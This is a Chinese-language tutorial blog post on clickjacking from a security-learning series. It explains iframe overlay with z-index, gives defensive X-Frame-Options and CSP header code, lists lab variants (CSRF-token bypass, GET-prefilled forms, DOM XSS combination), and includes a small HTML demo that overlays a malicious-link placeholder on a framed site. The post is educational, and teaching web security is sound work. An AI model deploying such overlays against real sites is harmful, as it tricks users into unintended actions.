iT邦幫忙

第 12 屆 iT 邦幫忙鐵人賽

DAY 17
2
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 17

資安這條路 17 - [WebSecurity] 點擊劫持 clickjacking

前言

鐵人賽一開始規畫的時候是想要手寫整理資安的各大弱點,不過一直覺得字醜,不過還是嘗試看看這樣的呈現方式。

點擊劫持

    • 會偽裝連結使受害者點擊惡意連結

    • CSS z-index 屬性

      • 在 CSS 當中 z-index 的數字越大,表示越上層,受害者插入 <iframe> 或其他 HTML 的時候,可以調整標籤的「透明度」、「z-index」,可以設定為透明且最上層,使受害者可以點擊。
      • 透過 X-Frame-Options 和 Content Security Policy
    header("X-Frame-Options: DENY");
    header("Content-Security-Policy: frame-ancestors 'none'", false);
    
    response['X-Frame-Options'] = 'DENY'
    response['Content-Security-Policy'] = "frame-ancestors 'none'"
    return response
    

線上 lab

  • 雖然有 CSRF token 但仍可以透過 clickjacking 的手法,達到攻擊
  • 有些表單內容是可以透過網址的 GET 參數去填寫,這時候搭配 clickjacking 的手法,可以透過 GET 參數去填入攻擊者想填入的資訊,並誘使受害者點擊並送出。
  • iframe 有屬性為 sandbox ,屬性內容為 allow-formsallow-scripts 前者為可允許表單,後者為可允許腳本執行。
  • 結合 clickjacking 與 DOM XSS
    • 要先確認有 XSS 攻擊的存在,透過 iframe 跟 XSS 弱點結合
    • lab
  • 透過多步驟結合 clickjacking
    • 透過多步驟引導受害者去點擊惡意操作
    • lab

lab

  • 這個屬於前端的 issue 這次 lab 就不用 docker

    • 有一個使用 iframe 的網頁
    <html>
      <head>
        <style>
          body {
            position: relative;
            margin: 0;
          }
    
          iframe {
            border: none;
            position: absolute;
            width: 100%;
            height: 100%;
          }
        </style>
      </head>
      <body>
        <iframe src="feifei.com.tw">
        </iframe>
      </body>
    </html>
    
    • 加入惡意的連結,並且透過 z-index 覆蓋在原本的頁面上,並且放入一個惡意連結
    <html>
      <head>
        <style>
          body {
            position: relative;
            margin: 0;
          }
          iframe {
            border: none;
            position: absolute;
            width: 100%;
            height: 100%;
          }
          div {
            z-index: 100;
          }
          a {
            display: block;
          }
        </style>
      </head>
      <body>
        <iframe src="feifei.com.tw">
        </iframe>
        <div>
              <a href="惡意連結">here</a>
    
        </div>
      </body>
    </html>
    

上一篇
資安這條路 16 - [WebSecurity] Web cache poisoning
下一篇
資安這條路 18 - [Websecuirty] 開放重定向 Open Redirect
系列文
資安這條路─以自建漏洞環境學習資訊安全31

尚未有邦友留言

立即登入留言